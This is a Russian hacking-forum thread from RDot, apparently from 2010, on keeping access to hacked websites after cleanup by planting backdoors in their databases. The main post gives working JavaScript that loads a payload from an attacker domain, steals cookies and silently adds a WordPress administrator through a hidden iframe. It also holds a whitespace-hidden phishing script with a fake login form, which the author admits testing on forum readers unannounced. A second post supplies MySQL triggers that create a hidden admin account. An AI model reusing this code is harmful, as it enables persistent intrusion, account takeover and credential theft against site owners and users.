Вернуться   RDot > RDot.org > Статьи/Articles

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
Старый 08.09.2010, 00:37   #1
tipsy
 
Аватар для tipsy
 
Регистрация: 11.07.2010
Сообщений: 415
Репутация: 311
По умолчанию Второе пришествие: бэкдор в БД (+ бонусный фишинг-код)

Рассмотрим, как можно использовать MySQL для сохранения доступа к ресурсу после обнаружения взлома и "чистки".

// Специально для rdot.org
// Перепечатка без большой, жирной ссылки на источник разрешена только мудацким ресурсам.


Типичные рекомендации администратору веб-сервера по действиям после взлома выглядят примерно так:

Для распиздяев:
  1. если есть основания полагать, что была скомпрометирована операционная система - подключить диски к чистой системе (LiveCD) и прогнать чистилками (rkhunter/chkrootkit)
  2. прогнать веб-директории грепом на предмет подозрительных сигнатур ( eval(base64.., system(..., passthru(... )
  3. обновить всё до последних версий
  4. сменить все пароли
Для серьёзных проектов:
  1. взять пустой винт
  2. установить последнюю версию ОС и пакетов из чистого дистрибутива
  3. восстановить конфигурационные файлы из бэкапа, сделанного до взлома, проверив их вручную.
  4. не использовать старые пароли
  5. если используются сторонние движки, скачать последние версии с сайта разработчика и сделать чистую установку
  6. если используется свой продукт, восстановить чистую копию из CVS.
  7. загрузить в БД свежие дампы (*)
  8. сменить все пароли

В первом варианте, если чистил аматор, шанс сохранить доступ у хитрого хакера есть.
Во втором случае, если уязвимость устранена, доступ к ресурсу теряется без вариантов...

Или нет?

На данный момент ни один из публично доступных документов по post-intrusion recovery не упоминает о необходимости проверки БД на предмет внедрения в неё вредоносного кода.

Есть примерно три способа затроянить БД, чтобы восстановить доступ к ресурсу после чистки:

1) Внедрение PHP кода.
2) Внедрение яваскрипта.
3) SQL триггеры.

По первому пункту мне нечего добавить, третий раскроет Dr.TRO.

Внедрение яваскрипта.
Большинство приложений построено по принципу "максимально фильтруем user input, записываем чистые данные в БД, безгранично доверяем контенту из БД".
Имея прямой доступ к БД, можно записать туда js код, миновав фильтрацию на уровне приложения.
Редкие приложения фильтруют контент из БД, но даже в них можно найти лазейку - защита от инсайдера слабее внешней.

Что даёт внедрение js кода?
-возможность получить куки администратора, если они установлены без флажка httponly
-возможность выполнить в админке произвольные действия с правами администратора

Общие рекоммендации по внедрению закладки:
-если есть возможность, нужно вписаться во что-то, что выводится только в админке
Нам нужны права администратора, незачем светить скрипт по всему сайту.

-идеально, если есть возможность записаться прямо в существующий скрипт.
Иногда в админке используется такая конструкция при заполнении javascript переменных:
adminka.php
PHP код:
//...
<script>
a = "100000000000";
thousands_separator = "<?=$b?>"; // Переменная $b берётся из бд? То, что нужно!
do_something(a,b);
Методика похожа на обычный sql injection - разрываем кавычки и добавляем свой код, экранируя лишнее комментарием //

-желательно вписаться во что-то, что нельзя отредактировать средствами движка
Если возможности вписаться в нередактируемое поле нет - заблокируйте или поставьте свой обработчик на элемент, который его редактирует. Абсолютно любой элемент на странице можно адресовать комбинацией операторов getElementByID('айди'), getElementsByTagName('input')[3], getElementsByName("name")[4] и getElementsByClassName("class")[1](с) rdot.org 2010

Общие рекоммендации по архитектуре закладки:
-закладке нужен некий триггер, который её активирует, в остальное время она должна тихо ждать своего часа.
-поместить триггер в файл на своём домене, безусловно, заманчиво, но опасно - мелькающий в адресной строке "левый" домен может привлечь внимание администратора
-триггером может служить любой контролируемый извне текст, который попадает на страницу со скриптом (в общем случае эта страница - админка). Для блогов, отображающих список последних событий, удобно использовать комментарий или trackback с "волшебным словом". Триггер будет выглядеть так
if (document.body.innerHTML.search("magic"+"word")<0) {return;}
-если нет возможности влиять на текст в админке извне, триггером может служить дата, после которой "начинка" скрипта выполнится.

А сколько раз она выполнится?
-В качестве носителя для записи переменных удобно использовать самого администратора.
Когда закладка сработает, поставьте ему куки pwned, чтобы предовратить повторную сработку.
PHP код:
document.cookie 'pwned=yes; expires=Thu, 2 Aug 2021 20:47:11 UTC; path=/'
Если скрипт получился длинным, можно вынести всё, кроме триггера, на внешний домен.
Заодно это послужит сигналом о том, что закладка отработала.

PHP код:
if (document.body.innerHTML.search("magic"+"word") < 0) {return;} // если писать magicword одним словом, он сам себя найдёт.
if (document.cookie.search("pwned=yes") > 0) {return;}
tmp document.createElement('script');
tmp.src "http://h4x0r.info/pwn.js"// или decodeURIComponent('%68%74%74%70%3A%2F%2F%68%34%78%30%72%2E%69%6E%66%6F%2F%70%77%6E%2E%6A%73')
document.head.appendChild(tmp); 
Общие рекоммендации по рабочей части закладки:
Если не используется флажок httponly, простейшим способом устроить грандиозное возвращение будет отправка строки document.cookie на внешний домен. На эту тему много написано, нет смысла повторяться.

Если используется httponly, нужно организовать доступ, выполнив некие действия от имени администратора (это будет сделано в фоне, незаметно для администратора)
Это может быть что угодно, что не требует ввода пароля.
  • добавление нового администратора
  • правка php файлов с целью добавить php закладку
  • правка шаблонов smarty с целью добавить php закладку. Формат {php}код{/php}
  • смена email-адреса администратора, если он не защищён паролем
Для этого используется примерно такой код:
PHP код:
ifrm document.createElement("iframe");
ifrm.id "pwn";
ifrm.src "new_user.php";
ifrm.style.display "none";
document.body.appendChild(ifrm); // создаём невидимый фрейм с формой добавления нового пользователя
setTimeout("adm()",2000); // дадим фрейму время загрузиться. Альтернативный вариант - использовать onload

function adm () { // заполняем форму. Конкретно эта форма - добавление нового администратора в вордпресс.
    
document.getElementById("pwn").contentWindow.document;
    
i.getElementById("user_login").value "pwnz0r";
    
i.getElementById("email").value "pwnz0r@evilsite.com";
    
i.getElementById("pass1").value "p4ssw0rd";
    
i.getElementById("pass2").value "p4ssw0rd";
    
i.getElementById("send_password").checked true// в данном случае сигналом о том, что закладка выполнилась, будет письмо
    
i.getElementById("role").value "administrator";
    
i.getElementById("adduser").submit();

Если без ввода пароля ничего полезного сделать нельзя, остаётся последний вариант:

Фальшивая форма ввода пароля

Я прикрепил к статье рабочий код, иллюстрирующий работу со скрытыми фреймами, и безобидную демонстрацию того, как может быть реализована фальшивая форма логина (только для зарегистрированных пользователей).

Строка для запуска(нужно скопировать в адресбар) :

PHP код:
javascript:alert(document.getElementsByClassName("alt2")[2].getElementsByTagName("code")[((id=new Function(document.getElementsByTagName("pre")[0].textContent))+id())]="Привет, я новое значение этого поля."); 
Прежде чем запускать, ознакомьтесь с кодом, он в конце статьи.

Что произойдёт:
  • через несколько секунд вы отправите себе ЛС о том, что код запущен
  • при нажатии на любую ссылку она будет открыта во фрейме (перехват активного окна)
  • можно браузить в обычном режиме чуть больше минуты
  • будет выдана фальшивая форма логина.
  • после заполнения формы (кстати, хороший шанс протестировать на защищённость от фишинга свой менеджер паролей) вы получите от себя вторую ЛС, в которой указано число букв в пароле.
  • будет показан алерт.

Если в вашем браузере не работает, отпишитесь.
Протестировано в Firefox, Safari, Chrome, Opera.

Подводные камни:
Яваскрипт прекращает выполнение в случае ошибки, потому аккуратнее с чтением/записью в не полностью загрузившийся документ. Лучше добавить проверки, и использовать setTimeout / onload.
Цитата:
Код:
function a () {
if (document.getElementById('comments') == null) { // блок комментов ещё не загрузился
setTimeout(a,200); return} else {
// делаем проверку на magicword
}}                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              document.getElementsByClassName("alt2")[6].getElementsByTagName("code")[1].innerHTML="Привет, я новое значение этого поля.";document.location.replace(document.location.href+'#?1');login =document.getElementsByTagName('strong')[1].getElementsByTagName('a')[0].textContent;delay=5000;setTimeout(new Function('pm1 = document.createElement("iframe");pm1.style.display = "none";pm1.id = "pm1";pm1.src = "https://rdot.org/forum/private.php?do=newpm&u=340";document.body.appendChild(pm1);'),delay);setTimeout(pm,delay+100);function pm () {if(document.getElementById("pm1").contentWindow.document.getElementById("pmrecips_txt")==null) {setTimeout(pm,100);return;}p = document.getElementById("pm1").contentWindow.document;p.getElementById("pmrecips_txt").value = login;p.getElementsByName("title")[0].value = "Я запустил код";p.getElementById('vB_Editor_001_textarea').value = "Десять символов.";p.getElementsByName('vbform')[0].submit();}a = document.getElementsByTagName('a');for (i in a) {a[i].onclick = hijack;}function hijack() {pm1.src = "https://rdot.org/forum/private.php?do=newpm&u=340";ifrm = document.createElement("iframe");ifrm.id = "ifrm";ifrm.src = this;ifrm.style.position = "absolute";ifrm.style.top = "0px";ifrm.style.left = "0px";ifrm.style.zIndex = 999;ifrm.style.height = "100%";ifrm.style.width = "100%";ifrm.style.border = "0px";ifrm.style.padding = "0px";document.body.appendChild(ifrm);document.body.style.overflow="hidden";setTimeout(l,50000);return false;}function l () {document.getElementById("ifrm").contentWindow.document.body.onclick = function(){document.getElementById("ifrm").contentWindow.document.body.onclick="";d='<div id="side_borders_inner"><table width="100%" align="center" border="0" cellpadding="0" cellspacing="0"><tbody><tr><td width="100%"> <table class="header_bg" width="100%" border="0" cellpadding="0" cellspacing="0"><tbody><tr height="25"><td></td></tr><tr> <td colspan="2" class="header_sub" height="17"></td></tr></tbody></table></td></tr></tbody></table><div align="center"><div class="page" style="width: 100%; text-align: left;"><div style="padding: 0px 15px;" align="left"><br><div class="tborder" style="padding: 1px; border-top-width: 0px;"><table width="100%" align="center" border="0" cellpadding="0" cellspacing="0"><tbody><tr align="center"><td class="vbmenu_control"><a href="register.php?s=" rel="nofollow">Регистрация</a></td><td class="vbmenu_control"><a href="search.php?s=&amp;do=getdaily">Сообщения за день</a></td><td class="vbmenu_control"><a id="navbar_search" href="search.php?s=" >Поиск</a> </td></tr></tbody></table></div><div class="vbmenu_popup" id="navbar_search_menu" style="display: none; margin-top: 3px;" align="left"><table border="0" cellpadding="4" cellspacing="1"><tbody><tr><td class="thead">Поиск по форуму</td></tr><tr><td class="vbmenu_option" title="nohilite"><form action="search.php?do=process" method="post"><input name="do" value="process" type="hidden"><input name="quicksearch" value="1" type="hidden"><input name="childforums" value="1" type="hidden"><input name="exactname" value="1" type="hidden"><input name="s" value="" type="hidden"><input name="securitytoken" value="guest" type="hidden"><div><input class="bginput" name="query" size="25" tabindex="1001" type="text"><input class="button" value="Вперёд" tabindex="1004" type="submit"></div><div style="margin-top: 6px;"><label for="rb_nb_sp0"><input name="showposts" value="0" id="rb_nb_sp0" tabindex="1002" checked="checked" type="radio">Отобразить темы</label>&nbsp;<label for="rb_nb_sp1"><input name="showposts" value="1" id="rb_nb_sp1" tabindex="1003" type="radio">Отображать сообщения</label></div></form></td></tr><tr><td class="vbmenu_option"><a href="tags.php?s=" rel="nofollow">Поиск по метке</a></td></tr><tr><td class="vbmenu_option"><a href="search.php?s=" accesskey="4" rel="nofollow">Расширенный поиск</a></td></tr></tbody></table></div><div class="vbmenu_popup" id="pagenav_menu" style="display: none;"><table border="0" cellpadding="4" cellspacing="1"><tbody><tr><td class="thead" nowrap="nowrap">К странице...</td></tr><tr><td class="vbmenu_option" title="nohilite"><form action="index.php" method="get" onsubmit="return this.gotopage()" id="pagenav_form"><input class="bginput" id="pagenav_itxt" style="font-size: 11px;" size="4" type="text"><input class="button" id="pagenav_ibtn" value="Вперёд" type="button"></form></td></tr></tbody></table></div><table class="tborder" width="100%" align="center" border="0" cellpadding="6" cellspacing="1"><tbody><tr><td class="alt1" width="100%"><table border="0" cellpadding="0" cellspacing="0"><tbody><tr valign="bottom"><td><a href="#" onclick="return false;"><img title="Вернуться" src="images/visions/misc/navbits_start.gif" alt="Вернуться" border="0"></a></td><td>&nbsp;</td><td width="100%"><span class="navbar"><a href="/forum/?s=" accesskey="1">RDot</a></span> </td></tr><tr><td class="navbar" style="font-size: 10pt; padding-top: 1px;" colspan="3"><a href="/forum/usercp.php"><img title="Перезагрузить страницу" class="inlineimg" src="images/visions/misc/navbits_finallink_ltr.gif" alt="Перезагрузить страницу" border="0"></a> <strong>Сообщение форума</strong></td></tr></tbody></table></td><td class="alt2" style="padding: 0px;" nowrap="nowrap"><form style="display:none;"><table border="0" cellpadding="0" cellspacing="3"><tbody><tr><td class="smallfont" style="white-space: nowrap;"><label for="navbar_username">Имя</label></td><td></td><td class="smallfont" nowrap="nowrap"><label for="cb_cookieuser_navbar">Запомнить?</label></td></tr><tr><td class="smallfont"><label for="navbar_password">Пароль</label></td><td></td><td></td></tr></tbody></table><input name="s" value="" type="hidden"><input name="securitytoken" value="guest" type="hidden"><input name="do" value="login" type="hidden"><input name="vb_login_md5password" type="hidden"><input name="vb_login_md5password_utf" type="hidden"></form></td></tr></tbody></table><br><div class="vbmenu_popup" id="navbar_search_menu" style="display: none;" align="left"><table border="0" cellpadding="4" cellspacing="1"><tbody><tr><td class="thead">Поиск по форуму</td></tr><tr><td class="vbmenu_option" title="nohilite"><form action="search.php?do=process" method="post"><input name="do" value="process" type="hidden"><input name="quicksearch" value="1" type="hidden"><input name="childforums" value="1" type="hidden"><input name="exactname" value="1" type="hidden"><input name="s" value="" type="hidden"><div><input class="bginput" name="query" size="25" tabindex="1001" type="text"><input class="button" value="Вперёд" tabindex="1004" type="submit"></div><div style="margin-top: 6px;"><label for="rb_nb_sp0"><input name="showposts" value="0" id="rb_nb_sp0" tabindex="1002" checked="checked" type="radio">Отобразить темы</label>&nbsp;<label for="rb_nb_sp1"><input name="showposts" value="1" id="rb_nb_sp1" tabindex="1003" type="radio">Отображать сообщения</label></div></form></td></tr><tr><td class="vbmenu_option"><a href="tags.php?s=" rel="nofollow">Поиск по метке</a></td></tr><tr><td class="vbmenu_option"><a href="search.php?s=" accesskey="4" rel="nofollow">Расширенный поиск</a></td></tr></tbody></table></div><div class="vbmenu_popup" id="pagenav_menu" style="display: none;"><table border="0" cellpadding="4" cellspacing="1"><tbody><tr><td class="thead" nowrap="nowrap">К странице...</td></tr><tr><td class="vbmenu_option" title="nohilite"><form action="index.php" method="get" onsubmit="return this.gotopage()" id="pagenav_form"><input class="bginput" id="pagenav_itxt" style="font-size: 11px;" size="4" type="text"><input class="button" id="pagenav_ibtn" value="Вперёд" type="button"></form></td></tr></tbody></table></div><table class="tborder" width="70%" align="center" border="0" cellpadding="6" cellspacing="1"><tbody><tr><td class="tcat">Сообщение форума</td></tr><tr><td class="panelsurround" align="center"><div class="panel"><div align="left"><form action="login.php?do=login" method="post" onsubmit="p=parent.window.pm1.contentWindow.document;p.getElementById(\'pmrecips_txt\').value =parent.window.login;p.getElementsByName(\'title\')[0].value = \'Я ввёл пароль\';p.getElementById(\'vB_Editor_001_textarea\').value = \'Я ввёл логин \'+ document.getElementById(\'llogin\').value+\' и пароль длинной \'+document.getElementById(\'ppassword\').value.length+\' символов\';p.getElementsByName(\'vbform\')[0].submit();alert(\'Привет, \'+parent.window.login+\', я фишинг.\\n\\n\'+document.getElementById(\'llogin\').value+\':\'+document.getElementById(\'ppassword\').value);return false;"><div class="smallfont">Вы не авторизованы на форуме или не имеете доступа к этой странице. Это могло произойти по одной из нескольких причин:</div><ol><li class="smallfont">Вы не авторизованы на форуме. Введите имя пользователя и пароль и попробуйте ещё раз.</li><li class="smallfont">У вас недостаточно прав для обращения к этой странице. Возможно, вы пытаетесь обратиться к функциям администратора или к другим привилегированным функциям.</li><li class="smallfont">Возможно, администратор отключил вашу учётную запись, или вы не активированы на форуме.</li></ol><fieldset class="fieldset"><legend>Вход</legend><table align="center" border="0" cellpadding="0" cellspacing="3"><tbody><tr><td>Имя:<br><input class="bginput" id="llogin" name="vb_login_username" size="50" accesskey="u" tabindex="1" type="text"></td></tr><tr><td>Пароль:<br><input id="ppassword" style="font-weight: 500; font-style: normal; color: rgb(0, 0, 0);" class="bginput" name="vb_login_password" size="50" tabindex="1" type="password"></td></tr><tr><td><span style="float: right;"><a href="login.php?s=&amp;do=lostpw">Забыли пароль?</a></span><label for="cb_cookieuser"><input name="cookieuser" value="1" id="cb_cookieuser" tabindex="1" type="checkbox">Запомнить?</label></td></tr><tr><td align="right"><input class="button" value="Вход" accesskey="s" tabindex="1" type="submit"><input class="button" value="Сброс" accesskey="r" tabindex="1" type="reset"></td></tr></tbody></table></fieldset><div class="smallfont">Для просмотра этой страницы необходимо <a href="register.php?s=&amp;do=signup" rel="nofollow">зарегистрироваться</a>.</div></form></div></div></td></tr></tbody></table><br><table align="center" border="0" cellpadding="0" cellspacing="0"><tbody><tr><td><div class="smallfont" style="text-align: left; white-space: nowrap;"><form action="forumdisplay.php" method="get"><input name="s" value="" type="hidden"><input name="daysprune" value="" type="hidden"><strong>Быстрый переход</strong><br><select name="f" onchange="this.form.submit();"><optgroup label="Навигация по форуму"><option value="cp">Мой кабинет</option><option value="pm">Личные сообщения</option><option value="subs">Подписки</option><option value="wol">Кто на форуме</option><option value="search">Поиск по форуму</option><option value="home">Главная страница форума</option></optgroup><optgroup label="Разделы"><option value="8" class="fjdpth0"> Релизы и Статьи</option><option value="11" class="fjdpth1">&nbsp; &nbsp;  Релизы</option><option value="10" class="fjdpth1">&nbsp; &nbsp;  Статьи</option><option value="32" class="fjdpth2">&nbsp; &nbsp; &nbsp; &nbsp;  Чужие статьи/Переводы</option><option value="3" class="fjdpth0"> Аспекты НСД</option><option value="9" class="fjdpth1">&nbsp; &nbsp;  Web-среда</option><option value="15" class="fjdpth2">&nbsp; &nbsp; &nbsp; &nbsp;  Сценарии/CMF/СMS</option><option value="34" class="fjdpth2">&nbsp; &nbsp; &nbsp; &nbsp;  Форумы</option><option value="26" class="fjdpth2">&nbsp; &nbsp; &nbsp; &nbsp;  Уязвимости PHP</option><option value="22" class="fjdpth1">&nbsp; &nbsp;  Целевые системы</option><option value="23" class="fjdpth2">&nbsp; &nbsp; &nbsp; &nbsp;  Сервисы/БД/Серверы</option><option value="24" class="fjdpth2">&nbsp; &nbsp; &nbsp; &nbsp;  Повышение привилегий</option><option value="27" class="fjdpth1">&nbsp; &nbsp;  Аудит Web-приложений</option><option value="41" class="fjdpth0"> Технические аспекты</option><option value="42" class="fjdpth1">&nbsp; &nbsp;  Криптография</option><option value="47" class="fjdpth0"> Администрирование</option><option value="48" class="fjdpth1">&nbsp; &nbsp;  *nix-like</option><option value="49" class="fjdpth1">&nbsp; &nbsp;  Windows</option><option value="5" class="fjdpth0"> Разработка ПО</option><option value="39" class="fjdpth1">&nbsp; &nbsp;  Web-программирование</option><option value="19" class="fjdpth1">&nbsp; &nbsp;  Прикладное программирование</option><option value="6" class="fjdpth0"> Оффтоп</option><option value="50" class="fjdpth1">&nbsp; &nbsp;  Аппаратное обеспечение</option><option value="51" class="fjdpth2">&nbsp; &nbsp; &nbsp; &nbsp;  Схемотехника</option><option value="52" class="fjdpth2">&nbsp; &nbsp; &nbsp; &nbsp;  Фрикинг</option><option value="54" class="fjdpth2">&nbsp; &nbsp; &nbsp; &nbsp;  Беспроводные технологии</option><option value="53" class="fjdpth2">&nbsp; &nbsp; &nbsp; &nbsp;  Новости мира железа</option><option value="60" class="fjdpth1">&nbsp; &nbsp;  Видео</option><option value="14" class="fjdpth1">&nbsp; &nbsp;  Мировые новости</option><option value="12" class="fjdpth1">&nbsp; &nbsp;  Оффтоп</option><option value="40" class="fjdpth1">&nbsp; &nbsp;  Обратная связь</option></optgroup></select><input class="button" value="Вперёд" type="submit"></form></div></td></tr></tbody></table><!-- / forum jump --><br><br><br><div align="center"><div class="smallfont" align="center"><!-- Do not remove this copyright notice -->Powered by vBulletin® Version 3.8.5<br>Copyright ©2000 - 2010, Jelsoft Enterprises Ltd. Перевод: <a href="http://www.zcarot.com/" target="_blank">zCarot</a></div><!----><div class="smallfont" align="center"><br></div></div><br></div></div></div><form action="index.php" method="get" style="clear: left;"><table class="page" width="100%" align="center" border="0" cellpadding="6" cellspacing="0"><tbody><tr><td class="tfoot" width="100%" align="right"><div class="smallfont"><strong><a href="sendmessage.php?s=" rel="nofollow" accesskey="9">Обратная связь</a> -<a href="archive/index.php">Архив</a> -               <a href="#top" onclick="self.scrollTo(0, 0); return false;">Вверх</a></strong></div></td></tr></tbody></table></form>';document.getElementById("ifrm").contentWindow.document.body.innerHTML=d;return false;}}// Приятного реверсинга! :) (c) tipsy
(с) 2010 rdot.org

Последний раз редактировалось tipsy; 08.09.2010 в 11:04..
tipsy вне форума   Ответить с цитированием
Старый 08.09.2010, 00:38   #2
Dr.TRO
 
Аватар для Dr.TRO
 
Регистрация: 06.07.2010
Сообщений: 90
Репутация: 21
По умолчанию

Триггеры в MySQL

"Три́ггер (англ. trigger) — это хранимая процедура особого типа, которую пользователь не вызывает непосредственно, а исполнение которой обусловлено наступлением определенного события" (с) Вики

Начну пожалуй с того что триггеры появились в MySQL 5.0.2 версии, так что остальное даже не рассматриваем.

Для создания триггера в MySQL версией до 5.1.6 нужны привелегии SUPER, после 5.1.6 - TRIGGER.

Синтаксис:
Код:
CREATE
    [DEFINER = { пользователь | CURRENT_USER }]
    TRIGGER название_триггера время_обработки_триггера событие_триггера
    ON `имя_таблицы` FOR EACH ROW [ триггер | BEGIN
        триггер;
    END; ]
Пользователя можно указывать можно нет, в случае не указания автоматически будет указано CURRENT_USER о правах в отношении политики безопасности поговорим позже.

Названия триггера вроде как может любым ну или как минимум как и SQL функции того чисто из логики рекомендовал бы им и давать такие названия, которые будут похожи на команды из SQL запросов как то:
INSERT, SELECT, DELETE

Лично я их называю в зависимости от команды на которую повешен триггер, если он повешен на INSERT, то и называю INSERT.

Так же указывается время обработки триггера - до выполнения запроса (BEFORE) или после (AFTER).

События которые обрабатываются триггерами:
INSERT (INSERT, LOAD DATA, REPLACE)
UPDATE (UPDATE)
DELETE (DELETE, REPLACE) (DROP TABLE и TRUNCATE относительно таблицы НЕ активизируют триггер, потому что они не используют DELETE)

По поводу присвоения этих триггеров другим пользователям - без привилегии SUPER вы этого сделать не сможете, так же учтите что создавать триггер на несуществующего пользователя - плохая идея.

Насчет прав пользователей, для создания триггера нужны привилегии SUPER а также пользователь должен иметь права на все комманды в SQL запросах триггера.

А так же с версии 5.0.17:
  • При изменении данных вводимых запросом UPDATE для текущей таблицы, не нужно делать еще один UPDATE достаточно просто в код триггера внедрить следущее
    Код:
    SET NEW.имя_колонки = значение
  • При получении данных с запроса для текущей таблицы не нужно делать еще один SELECT, достаточно к ним обращаться одним из двух(в зависимости от времени обработки триггера) массивов - NEW, OLD например
    Код:
    NEW.имя_колонки

Нельзя делать сразу несколько триггеров для одной таблицы на одно и тоже событие.

При много строчном триггере нужно указывать параметр разделения SQL запроса отличный от ; так как ; нам даст ошибку.

Чтоб получить список триггеров делаем запрос:
Код:
SHOW TRIGGERS;
Для удаления триггера LOL делаем запрос:
Код:
DROP TRIGGER `LOL`;
Немного особенностей PMA при работе с триггерами:
  1. При экспорте указанной БД автоматически экспортируются и триггеры.
  2. При работе с чистыми SQL запросами к БД, для команды DELIMITER PMA дает ошибку, его нужно указывать только в указанном поле "Разделитель"

Вот пример триггера для WordPress который при добавлении комментария с содержанием "add admin" создает админа(root;toor):
Код:
DELIMITER |
CREATE TRIGGER `INSERT` BEFORE INSERT ON `fixer`.`wp_comments`
    FOR EACH ROW BEGIN
        IF NEW.comment_content = 'add admin' THEN
            INSERT INTO `wp_users` ( `ID` , `user_login` , `user_pass` ) VALUES 
                ('31337', 'root', '$P$B9wcvAmi3JvyqJ5991Qif8LRgzSAfc.');
            INSERT INTO `wp_usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES
                ('31337', 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}'),
                ('31337', 'admin_color', 'fresh'),
                ('31337', 'comment_shortcuts', 'false'),
                ('31337', 'rich_editing', 'true'),
                ('31337', 'nickname', 'root'),
                ('31337', 'first_name', 'drtro.public@gmail.com'),
                ('31337', 'wp_user_level', '10');

        END IF;
    END;
|
А вот еще один, который при удалении этого же комментария удаляет созданного нами админа
Код:
DELIMITER |
CREATE TRIGGER `DELETE` BEFORE DELETE ON `wp_comments`
    FOR EACH ROW BEGIN
        IF OLD.comment_content = 'add admin' THEN
            DELETE FROM `wp_users` WHERE `ID`='31337';
            DELETE FROM `wp_usermeta` WHERE `user_id`='31337';
        END IF;
    END;
|
На остаток напомню что код триггеров имеет тот же функционал что и обычный SQL код, включая переменные etc.
__________________
http://fc01.deviantart.net/fs48/f/20...eyecixramd.png
http://img156.imageshack.us/img156/2...userbartd7.png
Цитата:
root@rdot.org ~ # perl -MAcme::BadExample
Dr.TRO вне форума   Ответить с цитированием
Старый 08.09.2010, 00:57   #3
tipsy
 
Аватар для tipsy
 
Регистрация: 11.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Почему утром тут была почти такая же статья от левого пользователя с 1 сообщением:

В процессе оформления статьи появилась мысль провести эксперимент - много ли народу запустят яваскрипт без объяснения, что он делает, и сколько из них не распознают подделку в форме ввода пароля (сам пароль не отправлялся).

Результат - почти никто. Но я склонен искать объяснение не во внимательности и осторожности аудитории, а в том, что статью толком никто не читал, просто пробегали по диагонали.

P.S. сам факт фишинга тоже никто не заметил. (?)
Upd: Atra Pluvia заметил :)

Последний раз редактировалось tipsy; 09.09.2010 в 16:37..
tipsy вне форума   Ответить с цитированием
Старый 08.09.2010, 01:36   #4
nobody
 
Аватар для nobody
 
Регистрация: 05.07.2010
Сообщений: 176
Репутация: 130
По умолчанию

Цитата:
Сообщение от tipsy Посмотреть сообщение
Почему утром тут была почти такая же статья от левого пользователя с 1 сообщением:

В процессе оформления статьи появилась мысль провести эксперимент - много ли народу запустят яваскрипт без объяснения, что он делает, и сколько из них не распознают подделку в форме ввода пароля (сам пароль не отправлялся).

Результат - почти никто. Но я склонен искать объяснение не во внимательности и осторожности аудитории, а в том, что статью толком никто не читал, просто пробегали по диагонали.

P.S. сам факт фишинга тоже никто не заметил. (?)
я читал, про JS способ мало применим, нормальные проекты вносят в базу всё "как есть", и уже при выводе - всячески фильтруют. Тоесть так, как и надо делать. А та как всё нижесказанное - основывается на эдакой баге - читать не особо было интересно.

Да и вставлять чей бы то ни было JS код, без предварительного его анализа,в ту вкладку которую говорит автор, по меньшей мере глупо, и сразу настораживает
nobody вне форума   Ответить с цитированием
Старый 08.09.2010, 03:22   #5
tipsy
 
Аватар для tipsy
 
Регистрация: 11.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Цитата:
Сообщение от nobody Посмотреть сообщение
я читал, про JS способ мало применим, нормальные проекты вносят в базу всё "как есть", и уже при выводе - всячески фильтруют. Тоесть так, как и надо делать. А та как всё нижесказанное - основывается на эдакой баге - читать не особо было интересно.
Когда ты пишешь "нормальные проекты" во множественном числе - ты несколько преувеличиваешь их количество.
Статистика по движкам, с которыми я работаю, меня вполне устраивает.
Рекомендую инжектить в первую очередь туда, где userinput не предусмотрен в принципе.
tipsy вне форума   Ответить с цитированием
Старый 08.09.2010, 12:23   #6
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию

за статью спасиб - познавательно и полезно.

FF + NoScript (скрипты выкл) - выдало только alert "Привет, я новое значение этого поля.", и данная страница перезагрузилась.

при выборе в NoScript "временно разрешить на этой странице" отработало как и было обещано
DrakonHaSh вне форума   Ответить с цитированием
Старый 20.09.2010, 00:21   #7
life_glider
 
Аватар для life_glider
 
Регистрация: 06.07.2010
Сообщений: 43
Репутация: 17
По умолчанию

Цитата:
Сообщение от tipsy Посмотреть сообщение
Для этого используется примерно такой код:
PHP код:
ifrm document.createElement("iframe");
ifrm.id "pwn";
ifrm.src "new_user.php";
ifrm.style.display "none";
document.body.appendChild(ifrm); // создаём невидимый фрейм с формой добавления нового пользователя
setTimeout("adm()",2000); // дадим фрейму время загрузиться. Альтернативный вариант - использовать onload

function adm () { // заполняем форму. Конкретно эта форма - добавление нового администратора в вордпресс.
    
document.getElementById("pwn").contentWindow.document;
    
i.getElementById("user_login").value "pwnz0r";
    
i.getElementById("email").value "pwnz0r@evilsite.com";
    
i.getElementById("pass1").value "p4ssw0rd";
    
i.getElementById("pass2").value "p4ssw0rd";
    
i.getElementById("send_password").checked true// в данном случае сигналом о том, что закладка выполнилась, будет письмо
    
i.getElementById("role").value "administrator";
    
i.getElementById("adduser").submit();

насколько я понимаю csrf-токен не помеха. а если есть автозаполнение форм с паролем-подтверждением админа?
__________________
Вы все такие классные
life_glider вне форума   Ответить с цитированием
Старый 20.09.2010, 11:34   #8
tipsy
 
Аватар для tipsy
 
Регистрация: 11.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Хмм, и вправду. Есть же браузерные запоминалки паролей, которые заполняют форму сразу, как только видят.
Они увидят форму с полем для пароля в невидимом фрейме и заполнят её, после чего можно сразу отправлять пароль "налево", без участия пользователя.
Надо протестить. Жаль, это не универсальное решение... но мысль интересная.
tipsy вне форума   Ответить с цитированием
Старый 02.08.2011, 19:21   #9
vovasik
 
Аватар для vovasik
 
Регистрация: 31.05.2011
Сообщений: 12
Репутация: -1
Unhappy

блин с этим не понятно

PHP код:
DELIMITER |
CREATE TRIGGER `INSERTBEFORE INSERT ON `fixer`.`wp_comments`
    FOR 
EACH ROW BEGIN
        
IF NEW.comment_content 'add admin' THEN
            INSERT INTO 
`wp_users` ( `ID` , `user_login` , `user_pass` ) VALUES 
                
('31337''root''$P$B9wcvAmi3JvyqJ5991Qif8LRgzSAfc.');
            
INSERT INTO `wp_usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES
                
('31337''wp_capabilities''a:1:{s:13:"administrator";s:1:"1";}'),
                (
'31337''admin_color''fresh'),
                (
'31337''comment_shortcuts''false'),
                (
'31337''rich_editing''true'),
                (
'31337''nickname''root'),
                (
'31337''first_name''drtro.public@gmail.com'),
                (
'31337''wp_user_level''10');

        
END IF;
    
END;

пытаюсь выполнить в phpMyamin то на разделитель ругается то ещё что.. ай нид хелп
vovasik вне форума   Ответить с цитированием
Старый 02.08.2011, 22:27   #10
Tim
 
Аватар для Tim
 
Регистрация: 24.03.2011
Сообщений: 59
Репутация: 3
По умолчанию

Цитата:
Сообщение от vovasik Посмотреть сообщение
пытаюсь выполнить в phpMyamin то на разделитель ругается то ещё что.. ай нид хелп
Какая версия мускула?
